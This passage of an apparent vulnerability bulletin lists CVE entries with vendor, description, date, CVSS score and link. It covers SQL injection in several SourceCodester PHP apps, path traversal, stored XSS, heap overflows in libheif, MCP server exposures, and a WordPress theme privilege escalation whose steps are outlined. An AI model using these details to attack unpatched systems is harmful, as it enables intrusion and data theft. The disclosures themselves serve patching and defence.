&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--College Notes Gallery Management System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in SourceCodester College Notes Gallery Management System 1.0. This impacts an unknown function of the file signup.php of the component Registration Flow. Such manipulation of the argument role leads to improper privilege management. The attack can be launched remotely. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90856&quot; target=&quot;_blank&quot;&gt;CVE-2026-90856&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Drug Recommendation System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in SourceCodester Drug Recommendation System 1.0. Affected by this issue is some unknown functionality of the file /Admin/edit_symptom.php. This manipulation of the argument ID causes sql injection. The attack is possible to be carried out remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93997&quot; target=&quot;_blank&quot;&gt;CVE-2026-93997&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Drug Recommendation System&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in SourceCodester Drug Recommendation System 1.0. This affects an unknown function of the file /drug_recommender/Admin/edit_user.php. Such manipulation of the argument ID leads to sql injection. The attack may be launched remotely. The exploit is publicly available and might be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94015&quot; target=&quot;_blank&quot;&gt;CVE-2026-94015&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Inventory and Monitoring System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in SourceCodester Inventory and Monitoring System 1.0. The affected element is an unknown function of the file /index.php. Such manipulation of the argument Username leads to sql injection. The attack may be launched remotely. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92405&quot; target=&quot;_blank&quot;&gt;CVE-2026-92405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Inventory and Monitoring System&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in SourceCodester Inventory and Monitoring System 1.0. The impacted element is an unknown function of the file /admins/assessments/databank/btn_functions.php?action=add. Performing a manipulation of the argument difficulty_id results in sql injection. Remote exploitation of the attack is possible. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92406&quot; target=&quot;_blank&quot;&gt;CVE-2026-92406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Faculty Clearance System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in SourceCodester Online Faculty Clearance System 1.0. Affected by this vulnerability is an unknown functionality of the file /delete_requirement.php. The manipulation of the argument ID leads to sql injection. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90876&quot; target=&quot;_blank&quot;&gt;CVE-2026-90876&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Faculty Clearance System&lt;/td&gt;
&lt;td&gt;A vulnerability was found in SourceCodester Online Faculty Clearance System 1.0. Affected by this issue is some unknown functionality of the file /update_requirement_status.php. The manipulation of the argument haydi results in sql injection. It is possible to launch the attack remotely. The exploit has been made public and could be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90877&quot; target=&quot;_blank&quot;&gt;CVE-2026-90877&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Faculty Clearance System&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in SourceCodester Online Faculty Clearance System 1.0. The impacted element is an unknown function of the file /delete_faculty1.php. Such manipulation of the argument ID leads to sql injection. The attack can be executed remotely. The exploit has been disclosed to the public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91004&quot; target=&quot;_blank&quot;&gt;CVE-2026-91004&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Food Ordering System&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in SourceCodester/katojkalemba Online Food Ordering System 1.0. The impacted element is an unknown function of the file /web/category-foods.php. The manipulation of the argument ID results in sql injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90854&quot; target=&quot;_blank&quot;&gt;CVE-2026-90854&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Food Ordering System&lt;/td&gt;
&lt;td&gt;A weakness has been identified in SourceCodester/katojkalemba Online Food Ordering System 1.0. This affects an unknown function of the file /web/order.php. This manipulation of the argument ID causes sql injection. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90855&quot; target=&quot;_blank&quot;&gt;CVE-2026-90855&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Reviewer Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was determined in SourceCodester Online Reviewer Management System 1.0. This issue affects some unknown processing of the file /reviewer_0/admins/assessments/course/btn_functions.php. This manipulation of the argument Course causes sql injection. The attack is possible to be carried out remotely. The exploit has been publicly disclosed and may be utilized.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93959&quot; target=&quot;_blank&quot;&gt;CVE-2026-93959&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Reviewer Management System&lt;/td&gt;
&lt;td&gt;A security vulnerability has been detected in SourceCodester Online Reviewer Management System 1.0. The affected element is an unknown function of the file /reviewer_0/admins/assessments/course/btn_functions.php. Such manipulation of the argument courseID leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed publicly and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93972&quot; target=&quot;_blank&quot;&gt;CVE-2026-93972&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Reviewer Management System&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in SourceCodester Online Reviewer Management System 1.0. The impacted element is an unknown function of the file /reviewer_0/admins/assessments/subject/btn_functions.php?action=remove. Performing a manipulation of the argument ID results in sql injection. The attack can be initiated remotely. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93973&quot; target=&quot;_blank&quot;&gt;CVE-2026-93973&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SourceCodester--Online Reviewer Management System&lt;/td&gt;
&lt;td&gt;A flaw has been found in SourceCodester Online Reviewer Management System 1.0. This affects an unknown function of the file /reviewer_0/admins/assessments/databank/btn_functions.php?action=remove. Executing a manipulation of the argument ID can lead to sql injection. The attack can be launched remotely. The exploit has been published and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-20&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93974&quot; target=&quot;_blank&quot;&gt;CVE-2026-93974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;square--wire&lt;/td&gt;
&lt;td&gt;Wire provides gRPC and protocol buffers for Android, Kotlin, Swift, and Java. Prior to 6.4.5 and 7.0.0-alpha04, Wire protobuf readers do not consistently validate attacker-controlled lengths against the current logical message boundary before advancing cursors, pointers, limits, slices, or allocations. In Kotlin, ProtoAdapter.decode(ByteArray) and ProtoAdapter.decode(ByteString) use ByteArrayProtoReader32.internalNextLengthDelimited(), where a positive oversized length can wrap pos + length to a negative limit and escape the existing negative-length check. Related ProtoReader, ReadBuffer.readVarint(), ReadBuffer.verifyAdditional(count:), packed-repeated, nested-message, and ProtoDecoder.decodeSizeDelimited(_:from:) paths can cross logical boundaries, perform pointer arithmetic, reserve capacity, or convert an unrepresentable size before proving the requested bytes exist. An attacker who supplies malformed protobuf bytes can cause unchecked exceptions, traps, out-of-bounds behavior, or excessive allocation, resulting in denial of service without known confidentiality, integrity, or code-execution impact. This issue is fixed in versions 6.4.5 and 7.0.0-alpha04.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63126&quot; target=&quot;_blank&quot;&gt;CVE-2026-63126&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;sshnet--SSH.NET&lt;/td&gt;
&lt;td&gt;SSH.NET is a Secure Shell (SSH) library for .NET. Prior to 2026.0.0, ScpClient places caller-supplied remote paths into the command used to run scp on the server, and the default RemotePathTransformation.DoubleQuote transformation cannot safely quote every remote command interpreter. When an application passes an attacker-controlled path to a shell-based server, shell metacharacters not neutralized by the active IRemotePathTransformation can execute commands as the authenticated SSH user. Exploitation requires a shell-based server and a path crafted for that shell&#039;s parsing rules; non-shell servers and paths fully neutralized by the selected transformation are not affected. RemotePathTransformation.ShellQuote is available for POSIX shells, while SftpClient avoids a remote shell entirely. This issue is fixed in version 2026.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85756&quot; target=&quot;_blank&quot;&gt;CVE-2026-85756&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stacklok--toolhive&lt;/td&gt;
&lt;td&gt;ToolHive is a utility designed to simplify the deployment and management of Model Context Protocol servers. Prior to ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0, locally run MCP server containers use the default network permission profile without network isolation, permitting access to host.docker.internal while ToolHive API and MCP proxy endpoints are reachable without authentication. A malicious or compromised MCP server can use the Docker gateway to contact host-local services, other ToolHive-managed MCP proxies, or the ToolHive control plane without escaping the container. This access can expose data and logs, invoke sibling MCP tools, alter process or workload state, and disrupt services. ToolHive Studio additionally sends network_isolation as false and overrides the backend&#039;s secure isolation default. This issue is fixed in ToolHive CLI 0.30.1 and ToolHive Studio 0.38.0.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-58197&quot; target=&quot;_blank&quot;&gt;CVE-2026-58197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;StacklokLabs--mkp&lt;/td&gt;
&lt;td&gt;MKP is a Model Context Protocol server for Kubernetes. Prior to 0.4.1, cmd/server/main.go exposes the default HTTP endpoint and pkg/mcp/server.go registers the unauthenticated get_resource tool, which accepts attacker-controlled limitBytes and tailLines values for the pods logs subresource. buildPodLogOpts() in pkg/k8s/subresource.go parses those values as unbounded int64 parameters, and defaultGetPodLogs() copies the returned Kubernetes log stream through io.Copy into an in-memory bytes.Buffer without an application-side cap. A remote attacker who can reach the default port 8080 MCP endpoint and select a pod with sufficiently large accumulated logs can send one tools/call request that causes large allocations and additional response copies, while the request-frequency limiter does not constrain per-request volume. This can exhaust process memory, terminate the MKP server, and deny the MCP service; observed testing showed more than one GiB of RSS growth while handling a 128 MiB requested stream. This issue is fixed in version 0.4.1.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-50125&quot; target=&quot;_blank&quot;&gt;CVE-2026-50125&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;StamusNetworks--scirius&lt;/td&gt;
&lt;td&gt;Scirius through 3.8.0 contains an arbitrary file write vulnerability in the PCAP filestore upload endpoint that allows default User role users to write attacker-controlled JSON content to filesystem paths. Attackers can supply path traversal sequences in the uploaded document&#039;s _id field to escape the intended directory and write files with .json extension to arbitrary locations as root.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92604&quot; target=&quot;_blank&quot;&gt;CVE-2026-92604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;stanfordnlp--stanza&lt;/td&gt;
&lt;td&gt;Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.14.0, stanza.resources.common.unzip in stanza/resources/common.py passes downloaded model and resource archives to zipfile.ZipFile.extractall without validating member paths, and the vulnerable extraction path is reachable through stanza.download and stanza.install_corenlp. A malicious archive containing parent-directory traversal entries can write outside the intended model directory, allowing files writable by the Stanza process to be overwritten and potentially enabling code execution through modified shell configuration, SSH authorization data, Python packages, or executable scripts. This issue is fixed in version 1.14.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-59974&quot; target=&quot;_blank&quot;&gt;CVE-2026-59974&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;StarCitizenWiki--mediawiki-extensions-EmbedVideo&lt;/td&gt;
&lt;td&gt;The EmbedVideo Extension is a MediaWiki extension which adds a parser function called #ev and various parser tags for embedding video clips from various video sharing services. Prior to 4.1.0, EmbedHtmlFormatter::toHtml in includes/EmbedService/EmbedHtmlFormatter.php passes the user-supplied class value directly to sprintf while constructing a figure element. A quote in the class value can terminate the class attribute and inject arbitrary HTML attributes or markup into the rendered page. A user able to edit a wiki page can store JavaScript that executes for visitors who render the affected content. This issue is fixed in version 4.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55691&quot; target=&quot;_blank&quot;&gt;CVE-2026-55691&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;StarCitizenWiki--mediawiki-extensions-EmbedVideo&lt;/td&gt;
&lt;td&gt;The EmbedVideo Extension is a MediaWiki extension which adds a parser function called #ev and various parser tags for embedding video clips from various video sharing services. Prior to 4.1.0, EmbedServiceFactory::newFromName in includes/EmbedService/EmbedServiceFactory.php interpolates an attacker-controlled unknown service name into exception text, and includes/EmbedVideo.php returns that text as HTML through the isHtml output path without neutralization. Both the #ev parser function and the evl parser form can reach this error path. A user able to edit a wiki page can inject stored HTML or JavaScript into the error output, causing code to execute in the wiki origin for visitors who render the page. This issue is fixed in version 4.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55690&quot; target=&quot;_blank&quot;&gt;CVE-2026-55690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;StarCitizenWiki--mediawiki-extensions-EmbedVideo&lt;/td&gt;
&lt;td&gt;The EmbedVideo Extension is a MediaWiki extension which adds a parser function called #ev and various parser tags for embedding video clips from various video sharing services. Prior to 4.1.0, with the default $wgEmbedVideoRequireConsent configuration enabled, includes/EmbedService/EmbedHtmlFormatter.php places JSON returned through includes/EmbedService/AbstractEmbedService.php into the data-mw-iframeconfig attribute without safely escaping single quotes. Attacker-controlled archiveorg identifiers and wistia or sharepoint URLs accepted by the affected service validators can cause getUrl() output to terminate the attribute and inject event-handler attributes into the generated figure element. A user able to edit a wiki page can store JavaScript that executes in the wiki origin when visitors render the page. This issue is fixed in version 4.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55692&quot; target=&quot;_blank&quot;&gt;CVE-2026-55692&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SteeltoeOSS--security-advisories&lt;/td&gt;
&lt;td&gt;Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. From 4.0.0 until 4.3.0, EurekaDiscoveryClient deserializes the registry response as one unit, and an unrecognized actionType or status, a non-Boolean isCoordinatingDiscoveryServer, or a nonnumeric timestamp can abort the entire response. A principal that can register or update an instance can cause all connected Steeltoe clients to receive an empty or stale instance list until the malformed registration is removed. The JsonInstanceInfoConverter, BoolStringJsonConverter, and LongStringJsonConverter parsing paths are affected. This issue is distinct from the earlier DataCenterInfo.name parsing vulnerability. This issue is fixed in version 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81515&quot; target=&quot;_blank&quot;&gt;CVE-2026-81515&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;SteeltoeOSS--security-advisories&lt;/td&gt;
&lt;td&gt;Steeltoe is an open source project that provides a collection of libraries that helps users build cloud-native applications. From 4.0.0 until 4.3.0, ConsulDiscoveryClient constructs ConsulServiceInstance objects by parsing each registration&#039;s secure metadata with a strict Boolean conversion. A principal that can register a Consul service can supply a secure value other than true or false, causing the exception from one instance to abort construction of the entire instance list and make the targeted service undiscoverable. When GetAllInstancesAsync enumerates all services, one malformed instance can abort enumeration across every service. The outage persists until the offending registration is removed. This issue is fixed in version 4.3.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81516&quot; target=&quot;_blank&quot;&gt;CVE-2026-81516&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strimzi--strimzi-kafka-operator&lt;/td&gt;
&lt;td&gt;Strimzi provides a way to run an Apache Kafka cluster on Kubernetes or OpenShift in various deployment configurations. In Strimzi 1.0.0 and earlier, an attacker who can create a Kafka custom resource can set Kafka.spec.entityOperator watchedNamespace to a target namespace, causing the Cluster Operator to create a Role with full Secret CRUD permissions there and bind it to the Entity Operator ServiceAccount in the attacker&#039;s namespace. The attacker can mint a token for that ServiceAccount and read or write Secrets in any target namespace where the Cluster Operator has been granted permissions, regardless of STRIMZI_NAMESPACE. This issue is fixed in versions 1.0.1 and 1.1.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55225&quot; target=&quot;_blank&quot;&gt;CVE-2026-55225&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libheif&lt;/td&gt;
&lt;td&gt;libheif is a HEIF and AVIF file format decoder and encoder. From 1.22.0 until 1.23.2, a crafted HEIF, HEIC, or AVIF item graph using nested iden and auxl references can make HeifPixelImage::transfer_channel_from_image_as() append duplicate Alpha planes with different bit depths to m_storage. HeifPixelImage::scale_nearest_neighbor() in libheif/image/pixelimage.cc allocates the destination Alpha plane using the first plane&#039;s 8-bit depth, then iterates a later 10-bit or 12-bit Alpha component and writes uint16_t samples into the same 8-bit allocation. The output geometry controls the overflow extent and the encoded sample values control the data written, allowing a remote file processed by heif_decode_image() to cause a heap out-of-bounds write. This issue is fixed in version 1.23.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84383&quot; target=&quot;_blank&quot;&gt;CVE-2026-84383&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libheif&lt;/td&gt;
&lt;td&gt;libheif is a HEIF and AVIF file format decoder and encoder. From 1.19.0 until 1.23.2, crafted HEIF or AVIF mime metadata and unci image data can cause decompress_brotli() and do_inflate() to grow accumulated output without an effective size limit or MemoryHandle accounting. The brotli path has no output bound, while the zlib path checks only a small temporary buffer in a branch that valid streams do not reach, and overlapping icef units can decompress the same payload repeatedly. HeifContext::interpret_heif_file_images() processes multiple compressed metadata items during file opening, allowing a small file to consume unbounded memory and terminate the process. This issue is fixed in version 1.23.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84384&quot; target=&quot;_blank&quot;&gt;CVE-2026-84384&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libheif&lt;/td&gt;
&lt;td&gt;libheif is a HEIF and AVIF file format decoder and encoder. Prior to 1.23.2, when WITH_UNCOMPRESSED_CODEC is enabled, heif_context_add_image_tile() accepts an independently constructed tile whose component-plane dimensions do not match the tile geometry established by the prototype image. ImageItem_uncompressed::add_image_tile() passes that tile directly to unc_encoder::encode_tile(), which lacked the check_component_sizes() gate and sizes its output from the configured tile geometry while copying the tile&#039;s actual component-plane dimensions. An oversized component plane can therefore make unc_encoder_component_interleave::encode_tile() copy attacker-controlled data beyond the heap output buffer. This issue is fixed in version 1.23.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84444&quot; target=&quot;_blank&quot;&gt;CVE-2026-84444&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libheif&lt;/td&gt;
&lt;td&gt;libheif is a HEIF and AVIF file format decoder and encoder. Prior to 1.23.2, crafted HEIF sequence timing and edit-list data can make Track::init_sample_timing_table() compute a logical m_num_output_samples value that exceeds the uint32_t counters used by Track_Visual::decode_next_image_sample() and Track::get_next_sample_raw_data(). The resulting comparison can never reach the oversized output count, causing non-terminating decode or raw-sample loops and bypassing max_sequence_frames. The same sequence path repeatedly calls Box_stts::get_sample_duration() and allocates Chunk::m_sample_ranges and Track::m_presentation_timeline outside MemoryHandle accounting, allowing severe CPU and memory exhaustion from a small file. This issue is fixed in version 1.23.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84446&quot; target=&quot;_blank&quot;&gt;CVE-2026-84446&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;strukturag--libheif&lt;/td&gt;
&lt;td&gt;libheif is a HEIF and AVIF file format decoder and encoder. In 1.23.1 and earlier, crafted grid, iovl, and iden reference graphs can repeatedly decode the same base image because processed_ids is copied per branch and ImageItem::decode_image() has no shared operation budget. This vulnerability is fixed in 1.23.2.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84447&quot; target=&quot;_blank&quot;&gt;CVE-2026-84447&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;StylemixThemes--Consulting - Business, Finance WordPress Theme&lt;/td&gt;
&lt;td&gt;The Consulting theme for WordPress is vulnerable to Privilege Escalation in versions up to, and including, 6.7.16. This is due to a combination of two flaws: (1) the masterstudy_ms_stm_set_discard_transient AJAX endpoint in admin/admin-notices/classes/STMHandler.php accepts an arbitrary transient key without capability checks or nonce validation, and (2) the developer access login mechanism in admin/classes/stm-theme-support.php authenticates users based on a transient value without proper cryptographic validation when in legacy string mode. This makes it possible for authenticated attackers, with subscriber-level access and above, to set the stm_developer_access_token transient to a known value (1), then authenticate as any existing user including administrators by visiting a specially crafted URL, thereby achieving full privilege escalation to administrator.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14805&quot; target=&quot;_blank&quot;&gt;CVE-2026-14805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;subhajitkhan--online-clinic-management-system&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. The affected element is an unknown function of the file listdoctor.php. Performing a manipulation of the argument searchtext results in sql injection. The attack may be initiated remotely. The exploit is now public and may be used. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90701&quot; target=&quot;_blank&quot;&gt;CVE-2026-90701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;subhajitkhan--online-clinic-management-system&lt;/td&gt;
&lt;td&gt;A flaw has been found in subhajitkhan online-clinic-management-system up to e9ee77a8827a1446220fa07ee693dc4d9a29a578. This affects an unknown part of the file doctorlogin.php. Executing a manipulation of the argument doc_mail/doc_pswd can lead to sql injection. The attack can be executed remotely. The exploit has been published and may be used. This product implements a rolling release for ongoing delivery, which means version information for affected or updated releases is unavailable. The project was informed of the problem early through an issue report but has not responded yet.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90805&quot; target=&quot;_blank&quot;&gt;CVE-2026-90805&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
